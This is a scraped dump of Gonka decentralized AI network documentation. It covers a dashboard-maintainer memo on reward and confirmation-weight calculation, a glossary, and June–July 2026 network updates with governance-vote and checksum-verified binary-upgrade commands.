scaled_model_weight = floor(raw_model_weight * weight_scale_factor)\nconfirmation_weight_scales entries:weight_to_confirm = sum(scaled_model_weight)\nUse root validation_weights[].confirmation_weight as the confirmed numerator.
If chain participant data has current_epoch_stats.confirmationPoCRatio, prefer that as the authoritative displayed ratio.
If there is no authoritative chain ratio, local estimate is still:
min((confirmation_weight / weight_to_confirm) / 0.909, 1.0)\nLegacy fallback:
confirmation_weight_scales is absent or empty, keep the old logic for older epochs: use root sub_group_models plus current or historical params model scale factors.Note: it is normal for the new method and legacy method to match in simple cases, especially when the only confirmation-scaled model has the same subgroup weight as the sum of its ML-node PoC weights. The important change is the source of truth: confirmation_weight_scales.
Upgrade v0.2.13 changes some existing chain data in place. It backfills confirmation weight scales, may update confirmation weights, changes model scale params, and adds MiniMax.
Simple meaning: a dashboard may have old cached numbers from before the upgrade, while the chain now has corrected numbers.
After the v0.2.13 upgrade, clear or reset dashboard cache. A redeploy is enough only if it also clears the dashboard cache DB or volume. If the cache DB survives redeploys, manually delete/reset it or add an admin cache reset endpoint.
This should include current epoch rows and recent reward totals. Reward values are read from chain summaries, so this is not a new frontend formula requirement; it is mostly about not keeping old cached totals.
For example, in Gonkascan this means clearing recent rows from participant_rewards and epoch_total_rewards in the cache DB, so the existing reward polling can refetch epoch_performance_summary from chain.
Possible operational step:
After chain upgrade:\n- redeploy dashboard\n- clear dashboard cache/current epoch cache\n- recalculate recent reward totals\nSmall checks while doing the main work:
weight_to_confirm logic for confirmation_weight_scales.confirmation_weight_scales when that snapshot is present.poc_weight sums as the raw per-model denominator.current_epoch_stats.confirmationPoCRatio when present.No existing query endpoint was removed or reshaped in this upgrade. If your dashboard reads values from the chain and displays them, it keeps working. There is one semantic change you need to understand (delegation), and three small notes.
"}, {"location": "gonka/docs/dashboard-maintainer-memo-v0.2.14/#1-delegation-weight-vs-reward", "title": "1. Delegation: weight vs reward", "text": "Before (v0.2.13): when A delegated to B, the chain physically moved part of A's weight to B before storing weights. The weight you read from the chain already included delegation. Rewards followed that adjusted weight automatically.
Now (v0.2.14): the chain stores everyone's own weight, untouched by delegation. Delegation is applied later, only inside reward settlement, on an internal copy of the weights that is never exposed as a chain field. (Refusal/no-participation penalties also became reward-only and no longer shrink stored weight.)
What this means for you, depending on what your dashboard does:
weight read from the chain (epoch_group_data → validation_weights[].weight, or get_participant_current_stats): keep doing exactly that. Still correct. Just know the number no longer includes delegation effects — a participant who delegates away keeps their full displayed weight.GET /chain-api/productscience/inference/inference/estimate_bitcoin_reward/{participant}
It replays the same math the chain uses at settlement — delegation transfers, penalties, exclusions included — and returns the estimated reward and work coins. The estimate is for the current epoch: its inputs are snapshotted when the epoch is formed (at the end of PoC validation) and refreshed at every epoch transition, so the endpoint answers throughout the whole epoch. A NotFound response means the participant is not in the current epoch's active set.
If you want to show delegation itself: who delegates to whom is at .../poc_delegation/{participant}, and the share parameter is in params (delegation_params.delegation_share).
Participants can now register a different address to receive their claimed rewards. Nothing about their identity, weight, or stats changes — only where the coins land.
This is not a compatibility break. It matters only if your dashboard claims or assumes \"rewards for participant X always go to address X\" — that's no longer guaranteed. Per-participant reward amounts from epoch_performance_summary / settle_amount are still keyed by participant and stay correct. If you want to show the override, it's at .../list_claim_recipients/{participant}.
At the upgrade height, the chain burns the accumulated fee-collector balance (amount determined at runtime, so unknown until it happens) and sets mint inflation to zero. If you chart or estimate total supply, expect a one-time drop at the upgrade block and a flat inflation line after. The usual /cosmos/bank/v1beta1/supply/by_denom?denom=ngonka query keeps working.
On the dapi public API, /v1/chat/completions, /v1/completions, and everything under /v1/devshard now return HTTP 410 Gone (inference is now served by the versioned devshard runtime, e.g. /devshard/v3). Only relevant if you were pinging these as a host liveness check. /v1/epochs/..., participants, models, pricing, status — all untouched.
The information provided here is for general informational and educational purposes only and should not be considered financial, investment, or trading advice. Cryptocurrency markets are highly volatile and speculative. Always do your own research (DYOR) and consult with a qualified financial advisor before making any investment decisions. The author and publisher are not responsible for any losses or damages resulting from reliance on this information.
CommunityAI Token is a model-specific unit of compute that quantifies the computational cost required for training or inference operations. For instance, in the context of a QwQ-32B model (FP16, 32K context), one AI Token may represent the resources needed to process a fixed number of input and/or output tokens. AI Tokens are tightly coupled to the characteristics of the base model and reflect actual memory, FLOP, etc.
Collateral mechanism allows participants to lock GNK coins in order to activate a portion of their already earned Proof of Compute (PoC) weight. Voting power is never derived solely from holding coins. GNK coins serve as economic collateral, not as a source of influence. Influence is earned through continuous computational contribution, while locking GNK collateral is required to secure participation in governance and enforce accountability.
Confirmation/Random Proof of Compute (cPoC) is an auxiliary verification mechanism used to validate the stability of a Host’s declared computational weight outside the primary Proof of Compute (PoC) Sprint. These checks are designed to confirm that Hosts continue to provide the computational capacity reflected in their most recent PoC results. CPoC does not replace the standard PoC process (Sprint).
Confirmation Ratio is the ratio between a Host’s epoch weight derived from the PoC stage and the weight obtained during the cPoC. A higher Confirmation Ratio indicates greater stability of the compute provided by the Host. If the Confirmation Ratio is 50% or lower, the Host is disqualified from receiving the epoch reward.
Consensus is the protocol by which the network agrees on a single, verifiable state of the blockchain, ensuring that all participants maintain a consistent and tamper-proof ledger. In Gonka, consensus is achieved through PoC.
Epoch is the core operational cycle of the chain. During an Epoch, Hosts perform meaningful AI work, participate in validation, and accumulate rewards. An Epoch lasts 15391 blocks (~23 hours) and ends with the completion of a Sprint by determining Host weights for the next epoch.
Gonka Blockchain is the foundational ledger and coordination layer (L1) of the decentralized AI network. It records balances, transactions and cryptographic artifacts that prove Hosts have correctly performed AI work, while all actual computations (such as inference and training) happen off-chain.
Gonka Network is a comprehensive ecosystem of participants, including Hosts and Developers that interact through decentralized infrastructure. Powered by the Gonka Blockchain, the network distributes tasks, verifies results, and rewards honest participation only verifiable useful work, creating a competitive, scalable environment for AI workloads.
Gonka personas:
ML Node in Gonka is a compute node within a Host’s private infrastructure that performs all real AI workloads (such as LLM inference, training steps, and Sprint computations). It never interacts directly with the public network; instead, it receives tasks from the Host’s API Node and returns results back to it. ML Nodes execute all heavy computation off-chain, while the blockchain only records validation artifacts, proofs, and task commitments.
Network Node is a service that handles all communication, including:
Private Key is a private component of the cryptographic key pair, crucial for securing and authorizing transactions and operations within Gonka network. The private key must remain secret at all times. Any party with access to a private key can act on behalf of its owner at the protocol level. Safeguarding private keys is the sole responsibility of the key holder.
Proof of Compute (PoC) is a consensus mechanism that replaces capital-based or hash-based weighting with provable Transformer-based computational capability. It defines how real AI compute is measured and converted into governance and consensus weight. PoC is executed through short, synchronized Sprints that occur at the end of each epoch. Outside the Sprint, the epoch is used for real-world AI computation. In practice, the terms Proof of Compute (PoC) and Sprint are often used interchangeably. When referring to “Next PoC” or “PoC phase”, this typically means the next Sprint, which is the execution phase of PoC.
Public Key is a cryptographic key that is publicly available and used for verifying signatures, encrypting messages, and identifying accounts in Gonka network. This is the publicly shareable part of the cryptographic key pair.
Randomized Task Verification is the foundation of the platform’s validation strategy. Instead of verifying every inference task redundantly, the system randomly selects a subset of tasks for verification based on Hosts (Executor) Reputation. The higher Host’s Reputation, the less of its work requires validation. This approach drastically reduces overhead to just 1–10% of tasks, while maintaining trust through probabilistic guarantees and the threat of losing rewards if caught cheating.
Sprint is a phase of PoC. During a Sprint, all Hosts simultaneously run AI-relevant inference on a transformer with randomized layers over a stream of nonces, producing output vectors. A Host’s voting power for the next epoch is proportional to the number of nonces it processed, as long as the reported outputs are verifiably produced by the required Sprint model.
Sprint Seed is generated with a random number generator based on the latest blockchain state. This seed is used to apply random transformations to the hidden layers of the transformer model.
Validator status: jailed means that a validator has been automatically and temporarily removed from block production by the protocol because it failed to meet the minimum consensus participation requirements (specifically, it signed fewer than the required number of blocks within the defined window).
Voting Power (Weight) represents the weight a Host has in governance and protocol decisions within the network and is determined proportionally by the number of processed nonces found during a Sprint.
"}, {"location": "gonka/docs/help/", "title": "Get help", "text": ""}, {"location": "gonka/docs/help/#get-support-on-discord", "title": "Get Support on Discord", "text": "Join the Gonka community on Discord if you need assistance.
"}, {"location": "gonka/docs/introduction/", "title": "Introduction", "text": ""}, {"location": "gonka/docs/introduction/#gonka", "title": "Gonka", "text": "Gonka is a decentralized AI infrastructure designed to optimize computational power specifically for AI model training and inference, offering a competitive alternative to traditional centralized cloud providers. Centralized systems are often expensive, monopolistic, and carry risks of censorship, whereas existing decentralized networks frequently waste resources on non-productive tasks, such as network security.
We introduce an innovative consensus mechanism that ensures nearly 100% of computational resources are used for meaningful AI tasks, maximizing efficiency and minimizing operational costs.
The system features key roles:
This collaboration allows the platform to offer AI services at significantly lower prices, making advanced AI technology more accessible to a broader audience.
"}, {"location": "gonka/docs/login/", "title": "Login", "text": "Email: Password: The credentials you entered don't match our records."}, {"location": "gonka/docs/model-licenses/", "title": "Model licenses", "text": ""}, {"location": "gonka/docs/model-licenses/#model-licenses", "title": "Model licenses", "text": "About this page
This page is maintained and updated by community members.
To publish an announcement, for example, about a governance vote you started, please open a pull request in the gonka-docs repository: https://github.com/gonka-ai/gonka-docs
This page is not guaranteed to be exhaustive. For the latest information, including governance vote launches and their current status, refer to on-chain data or check available explorers and dashboards.
"}, {"location": "gonka/docs/network-updates/#july-22-2026", "title": "July 22, 2026", "text": "Upgrade v0.2.14: Pre-download binaries
The on-chain governance process for the v0.2.14 upgrade proposal is nearing its conclusion.
Hosts are encouraged to review the proposal on GitHub and participate in the vote.
Pre-downloading binaries in advance may help avoid relying on GitHub availability during the upgrade window.
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.14/bin \\\n .inference/cosmovisor/upgrades/v0.2.14/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.14/decentralized-api-amd64.zip\" && \\\necho \"4326a27913a05435e37cd5fa9e3d0cf5271351799f8b01b842e049a733976c87 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.14/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.14/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.14/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.14/inferenced-amd64.zip\" && \\\necho \"ce857ef90deb899c03d78dee01493e544bf8b7ddf8b452e75b3b010b80a8b046 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.14/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.14/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.14/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.14/bin/inferenced && \\\necho \"9f41f08d865041c9d1b43e28334528d8d542751af40841f9ddc34d64787e5286 .dapi/cosmovisor/upgrades/v0.2.14/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"526755f37a0660e9ad9a38f01f99ac87920c7cee12554dc613b274e5e9e3d784 .inference/cosmovisor/upgrades/v0.2.14/bin/inferenced\" | sudo sha256sum --check\nv0.2.14 Upgrade Proposal Enters Governance
The v0.2.14 proposal is now on-chain and open for voting.
The mainnet chain/API work focuses on PoC duplicate-artifact protection, early share detection, classic inference API deprecation (disabling /v1/chat/completions billing on mainnet and removing embedded /v1/devshard from the API binary), reward recipient routing, and upgrade-time safety fixes.
The devshard part prepares the v3 runtime so brokers can serve inference during the chain upgrade without depending on the deprecated classic API path, improving RAM utilization and enabling safe switching between SQLite and Postgres storage.
For more details, please see the pull request: https://github.com/gonka-ai/gonka/pull/1267
Upgrade Plan
The node binary is upgraded through an on-chain software upgrade proposal. Existing hosts are not required to manually update their api or node containers as part of the upgrade.
How to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key.
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no, abstain, no_with_veto): The --unordered and --timeout-duration flags require inferenced from v0.2.12 or later.
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 89 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 89 -o json --node $NODE_URL/chain-rpc/\nRequired actions in preparation for the upgrade
In case the proposal is approved, the following preparation is recommended.
Now / before the mainnet upgrade — update your API and bridge. To keep the Ethereum bridge stable during the mainnet upgrade, update the api binary and the bridge image to 0.2.14-post3 ahead of time, following the guide. If your api binary is already updated, you only need to update the bridge image and restart the bridge container. If you have already completed both steps, you do not need to repeat them. If you have multiple nodes, update them one by one, and perform this step outside of PoC or cPoC.
Dashboard maintainers — no existing query endpoint was removed or reshaped in this upgrade. If your dashboard reads values from the chain and displays them, it keeps working. There is one semantic change you need to understand (delegation), and three small notes (read the full guide: https://gonka.ai/docs/dashboard-maintainer-memo-v0.2.14/)
Deadlines
Attention
.inference/data directory; ensure sufficient disk space is available (the Cosmovisor backup of application.db on mainnet is typically tens of GB, so verify in advance). Guidance on safely removing old backups from the .inference directory is available in the documentation.application.db occupies a significant amount of disk space, the cleanup techniques described in the cosmovisor backup guide may be applied.The PR for the devshard-only upgrade is now open for review
Devshard upgrades update the devshard runtime independently from the main blockchain. They do not require a coordinated full-node upgrade through Cosmovisor, do not affect mainnet behavior, and are not expected to cause downtime for inference serving. If approved through the governance process, the new devshard version will run in parallel with the existing v3 runtime.
Key changes
Action items
Please review the PR https://github.com/gonka-ai/gonka/pull/1482 and leave comments on any findings, questions, suggested improvements, edge cases, or potential vulnerabilities.
Meaningful review contributions, including important comments, bug findings, and security issues, may be eligible for community bounties in the next upgrade cycle.
This is a call for PR review only. It does not start formal voting.
"}, {"location": "gonka/docs/network-updates/#july-16-2026", "title": "July 16, 2026", "text": "Proposal 88 has passed: Kimi-K2.6 re-registered, devshard v1/v2 removed
The expedited proposal 88 was approved on-chain.
Kimi-K2.6 bootstrap (epoch 331)
moonshotai/Kimi-K2.6 is back in the governance model list and enters the standard bootstrap flow.
./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6\nDevshard v1/v2 removed
versiond has stopped the v1 and v2 devshardd processes. All gateway traffic must use /devshard/v3. If your gateway stopped serving inference after this change, you are still routing through a removed path — follow the v3 migration guide.
Expedited governance vote (proposal 88): re-register Kimi-K2.6 and remove devshard v1/v2 runtimes
This is the second step of the Kimi recovery plan announced on July 15. Proposal 87 removed moonshotai/Kimi-K2.6 from the active set; proposal 88 re-registers it in the governance model list so it goes through the standard bootstrap starting at epoch 331.
The same proposal removes approved_versions v1 and v2 from devshard_escrow_params. Once approved, versiond stops the v1 and v2 devshardd processes and only the v3 runtime (/devshard/v3) keeps running. This removes the long-running RAM growth of the older runtime containers — the issue behind the network node OOM in the July 15 incident.
This makes the v3 switch final. Gateways still routing through v1/v2 prefixes or the classic /v1/devshard path will stop serving inference after the proposal passes.
Required actions for hosts
moonshotai/Kimi-K2.6 right after the end of voting and before block 5,105,276 (July 17, ~12:05 UTC), then switch your MLNode back in the ~500-block window before epoch 331 PoC starts (block 5,105,776, July 17, ~12:50 UTC): ./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6\n/v1/devshard — switch to /devshard/v3 before the voting ends.How to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key.
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no, abstain, no_with_veto): The --unordered and --timeout-duration flags require inferenced from v0.2.13 or later.
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 88 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 88 -o json --node $NODE_URL/chain-rpc/\nDeadlines
More on how the bootstrap works: https://gonka.ai/docs/host/kimi-bootstrap/
"}, {"location": "gonka/docs/network-updates/#july-15-2026", "title": "July 15, 2026", "text": "Expedited governance vote (proposal 87): remove Kimi-K2.6 for a fast re-bootstrap
moonshotai/Kimi-K2.6 lost its PoC validation majority in epochs 328–329 (see the incident details here). Removing Kimi from the active set now and re-bootstrapping it is the fastest way to bring it back with minimal downtime — the same recovery path as proposal 78 in June.
The proposal removes moonshotai/Kimi-K2.6 from PoC params before the next PoC; a re-add follows immediately after, and Kimi goes through the standard bootstrap starting at epoch 331.
Required actions for hosts
How to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key.
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no, abstain, no_with_veto): The --unordered and --timeout-duration flags require inferenced from v0.2.13 or later.
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 87 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 87 -o json --node $NODE_URL/chain-rpc/\nDeadlines
Kimi-K2.6 incident (epochs 328–329): what happened, recovery plan, and a change in delegation guidance
In epoch 328, moonshotai/Kimi-K2.6 lost its PoC validation majority. Hosts serving Kimi were knocked out of the group at the start of epoch 329. The rest of the network kept operating normally.
What happened
Two guardian-operated servers running Kimi failed at the same time:
Kimi's validation votes had been close to the 2/3 threshold the whole time, so this was enough to drop the group below the majority. The guardian tiebreaker did not engage: guardians without per-model voting weight are currently filtered out of the tiebreaker. This is a known issue, fixed in the upcoming v0.2.14 upgrade.
This situation is similar to the epoch 306–307 incident. Exact details of the votes at the start of epoch 329 are still being confirmed; minor corrections to this summary are possible.
Recovery plan
The safest way to restore Kimi is to re-add it through a fresh bootstrap (~1.5 epochs):
Change in delegation guidance — please read
Earlier guidance (including the June 27, 2026, bootstrap announcement) suggested the guardian node as a delegation target. This recommendation is now withdrawn:
Fixes already in the pipeline
/v1/devshard closed. Set separate memory limits for the api and versiond containers.Required actions for hosts
/devshard/v3 now. This fixes the RAM growth issue and is required before v1/v2 removal.api, versiond).The v0.2.13-devshard-v3 runtime upgrade proposal has passed governance
The devshard v3 runtime has been approved on-chain and added to DevshardEscrowParams.approved_versions.
This proposal covered the devshard v3 release.
This is a devshard-only runtime upgrade. It operates independently of full-chain software upgrades and does not require a chain binary upgrade.
With the proposal approved, v3 now runs in parallel with the existing devshard runtimes. The new process is served under the /devshard/v3 prefix, while existing devshard traffic can continue on earlier runtime prefixes until brokers switch traffic to v3.
The release publishes the devshardd binary as a Gonka release artifact. versiond automatically downloads the binary, verifies the sha256 hash, and starts an additional devshardd process inside the existing versiond container.
No mainnet restart or manual host steps are expected for this type of devshard-only runtime upgrade.
Action items
Whitelisted devshard creators should switch inference traffic to /devshard/v3 before the mainnet v0.2.14 chain upgrade. This lets them keep serving inference while the chain upgrade runs, without depending on the deprecated classic API path.
Key Changes
The v0.2.13-devshard-v3 runtime upgrade proposal has entered governance
This proposal covers the devshard v3 release.
This is a devshard-only upgrade. It operates independently of full chain software upgrades. Once approved, v3 runs in parallel with the existing devshard runtimes.
The v3 runtime prepares brokers to keep serving inference during the v0.2.14 chain upgrade without depending on the deprecated classic API path. It also improves RAM utilization, fixes gateway runtime behavior, and enables safe switching between SQLite and Postgres storage.
Upgrade Plan
The devshard runtime is upgraded through an on-chain params proposal, not a full chain software upgrade.
The proposal registers a new entry in DevshardEscrowParams.approved_versions:
name: v3binary: https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v3.0.0/devshardd.zipsha256: ca1294fc8db3f0907a01f362eb4b13665f66d0fd12cfc6f01468b1e27f0bab63The release publishes the devshardd binary as a Gonka release artifact. If the on-chain proposal is approved, versiond automatically downloads the binary, verifies the sha256 hash, and starts an additional devshardd process inside the existing versiond container. The new process is served under the /devshard/v3 prefix. Existing devshard traffic can continue using earlier runtime prefixes until brokers switch traffic to v3. No mainnet restart or manual host steps are expected during this type of upgrade.
How to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key.
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no, abstain, no_with_veto): The --unordered and --timeout-duration flags require inferenced from v0.2.13 or later.
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 83 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 83 -o json --node $NODE_URL/chain-rpc/\nVoting ends: July 11th, 2026, at 06:41:34 UTC
"}, {"location": "gonka/docs/network-updates/#july-8-2026_1", "title": "July 8, 2026", "text": "PR Review for Upgrade v0.2.14
The pull request for the next on-chain software upgrade, v0.2.14, is open for review.
The mainnet chain/API work focuses on PoC duplicate-artifact protection, early share detection, classic inference API deprecation (disabling /v1/chat/completions billing on mainnet and removing embedded /v1/devshard from the API binary), reward recipient routing, and upgrade-time safety fixes.
The devshard part prepares the v3 runtime so brokers can serve inference during the chain upgrade without depending on the deprecated classic API path, improving RAM utilization and enabling safe switching between SQLite and Postgres storage.
Upgrade Plan
The node binary is upgraded through an on-chain software upgrade proposal. Existing hosts are not required to manually update their api or node containers as part of the upgrade. A separate devshard v3 release from this branch will be proposed and rolled out before the mainnet chain upgrade. Brokers who switch inference traffic to /devshard/v3 ahead of time can keep serving inference while the chain upgrade runs.
Proposed Process
/devshard/v3.Meaningful review contributions, including important comments, bug findings, and security issues, may be eligible for community bounties during the next upgrade cycle.
This is a call for review of the Pull Request only, and it does not initiate formal voting. The governance voting process will begin after the review period concludes.
Devshard v3 governance vote
The devshard v3 release is proposed and rolled out ahead of the mainnet chain upgrade so brokers can move inference traffic to /devshard/v3 before the upgrade runs.
Action items for Hosts
api binary and the bridge image to 0.2.14 ahead of time, following the guide. If your api binary is already updated, you only need to update the bridge image and restart the bridge container. If you have already completed both steps, you do not need to repeat them. If you have multiple nodes, update them one by one, and perform this step outside of PoC or cPoC./devshard/v3. Once the devshard v3 release is rolled out, move inference traffic to /devshard/v3 so you can keep serving inference during the chain upgrade.devshard v3 vote has launched and is successfully approaching its conclusion.Security update: PoC-v2 weight validation hardening — update your API container
Last week, a vulnerability was reported on HackerOne in the PoC-v2 weight path. A participant could inflate its compute weight, which drives block rewards, consensus voting power, and governance voting power.
Based on historical data, this attack had not been observed previously. However, in the current epoch, its use by the host gonka1w7s4pharl5qs2lupxkuw2c0gzcls8chehwafg3 was detected.
A fix has already been prepared for the upcoming v0.2.14 chain upgrade, which will permanently close this issue. Since the attack is already in use, an API-only hotfix is available ahead of the upgrade — it can be deployed asynchronously and blocks the attack by strengthening PoC-v2 validation so replicated compute can no longer pass the sampling check.
Please update your API container. Make sure to perform this step outside of PoC or cPoC. To deploy (one machine at a time to reduce risk):
sudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.13-post7/ .dapi/data/upgrade-info.json\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.13-post7/bin/\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.13-post7/decentralized-api-amd64.zip' && \\\necho \"55de4023119d103683cdbfa41c204274d3189636e4119ea3a2d8afdfa0a6fa47 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.13-post7/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.13-post7/bin/decentralized-api && \\\necho \"API Installed and Verified\" && \\\n\ndocker stop api && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.13-post7 .dapi/cosmovisor/current && \\\necho \"e97d89cfaca98547b5966a87bd99ec6faab9df9eda1782f584a36d49237c01e6 .dapi/cosmovisor/current/bin/decentralized-api\" | sha256sum --check && \\\ndocker start api\nKimi-K2.6 bootstrap: next attempt at epoch 311
moonshotai/Kimi-K2.6 runs another bootstrap attempt at epoch 311. Hosts that want to serve Kimi need to declare their intent during epoch 310 and get their node ready before the new epoch starts. A guardian node will also run Kimi, so hosts that prefer not to run it can delegate to it instead.
Hosts that will run Kimi
./inferenced tx inference declare-poc-intent moonshotai/Kimi-K2.6\nHosts that will not run Kimi
Delegate your weight to a host that runs Kimi (or send a refusal):
./inferenced tx inference set-poc-delegation moonshotai/Kimi-K2.6 <DELEGATEE>\ngonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5 will run Kimi and can be used as the delegation target.~~ Update (July 15, 2026): this recommendation is withdrawn — do not delegate to guardian nodes. Guardians are the fallback mechanism for PoC validation and must stay independent from delegations. Pick a non-guardian host that runs the model, and avoid hosts that are already major delegation targets. See the Multi-Model PoC guide for updated delegation guidance.
Key timings
More on how the bootstrap works: https://gonka.ai/docs/host/kimi-bootstrap/
"}, {"location": "gonka/docs/network-updates/#june-26-2026", "title": "June 26, 2026", "text": "Expedited governance vote 79: restore moonshotai/Kimi-K2.6 and add GLM-5.2
Key changes
1. Get back Kimi-K2.6
Kimi-K2.6 is added back with weight_scale_factor=0.9.This factor is chosen so that on an 8xB300 Kimi gives about the same consensus weight as the primary model MiniMax. It is not meant to favor any hardware — the same weight is already available on MiniMax. There is a ~1% gain for 8xB300 hosts that run Kimi instead of MiniMax. This approach makes Kimi a good fit for 8xB200 and 8xB300 servers.
Estimated consensus weight by hardware type: https://docs.google.com/spreadsheets/d/1yQ-8UHnHC5pvqd6uDB1dRPzHJ2qfJoQrXssXIGi8QMg/edit?usp=sharing
The usual bootstrap procedure starts from epoch 309. As the vote concludes ~1 hour before PoC, submit MsgDeclarePoCIntent right after the voting ends. More about bootstrap: https://gonka.ai/docs/host/kimi-bootstrap/
2. Add GLM-5.2
GLM-5.2 is added with weight_scale_factor=2.47 and penalty_start_epoch=500 (this effectively turns off the non-participation penalty for this model). The factor is chosen so that on an 8xB300 GLM-5.2 gives about the same consensus weight as MiniMax. It is not meant to favor any hardware. There is a ~2% gain for 8xB300 hosts that run GLM-5.2 instead of MiniMax. This approach makes it a good fit for 8xB300 servers.
Estimated consensus weight by hardware type: https://docs.google.com/spreadsheets/d/1yQ-8UHnHC5pvqd6uDB1dRPzHJ2qfJoQrXssXIGi8QMg/edit?usp=sharing
The MLNode version and instructions will be posted after the voting ends.
How the bootstrap works
Both models enter through the standard bootstrap flow, so hosts can see their viability before committing hardware:
Declare intent. Hosts that plan to serve Kimi or GLM-5.2 submit MsgDeclarePoCIntent for that model before the bootstrap snapshot at start_poc - deploy_window.
Pre-eligibility snapshot. At start_poc - deploy_window, the chain snapshots intents and delegations, and emits advisory pre-eligibility events (governance approval, weight threshold W_threshold, minimum members V_min, and >2/3 reachability). This lets operators confirm that a model looks viable before provisioning.
Deploy window. Hosts that declared intent provision their MLNode for the model during the deploy window.
PoC start. Membership is determined by who actually submits a PoC store commit at PoC start - not by who declared intent. A model becomes active only if it meets the eligibility conditions.
Effect if approved
From epoch 309 (PoC start ~June 26, 15:25 UTC; effective ~16:00 UTC), subject to each model meeting bootstrap eligibility:
moonshotai/Kimi-K2.6 is an active PoC model again.zai-org/GLM-5.2-FP8 is available as an optional PoC model with no non-participation penalty.MiniMaxAI/MiniMax-M2.7 remains the base model.Why expedited
The proposal must conclude before epoch 308 ends so both models can bootstrap into epoch 309. At ~22.8h per epoch, the standard 48h voting period does not fit within a single epoch; the 12h expedited period does. Genesis guardians are expected to support the proposal.
Required actions for hosts
To serve Kimi: Declare intent for moonshotai/Kimi-K2.6 right after the end of voting. Then, switch your MLNode to it for PoC 309. There is a ~500-block safety window before PoC starts, during which it is safe to switch, as there is no cPoC during that window.
To serve GLM-5.2: Declare intent for zai-org/GLM-5.2-FP8 and provision your MLNode during the deploy window. Serving it is voluntary - hosts that do not opt in incur no penalty.
To stay on MiniMax: Keep serving MiniMaxAI/MiniMax-M2.7 - no action needed.
Vote on proposal 79 before the deadline. The expedited window is short.
How to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, refer to the guide on granting governance voting permission from a cold key to a warm key. Proposal details and voting are available via inferenced. Any active node can be used:
Cast a vote (yes, no, abstain, no_with_veto):
export NODE_URL=https://node3.gonka.ai/\n ./inferenced tx gov vote 79 yes \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --unordered \\\n --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet \\\n --yes\n export NODE_URL=https://node3.gonka.ai/\n ./inferenced query gov votes 79 -o json --node $NODE_URL/chain-rpc/\nProposal 78 passed: MiniMaxAI/MiniMax-M2.7 is now the sole PoC model; Kimi K2.6 and Qwen3-235B removed
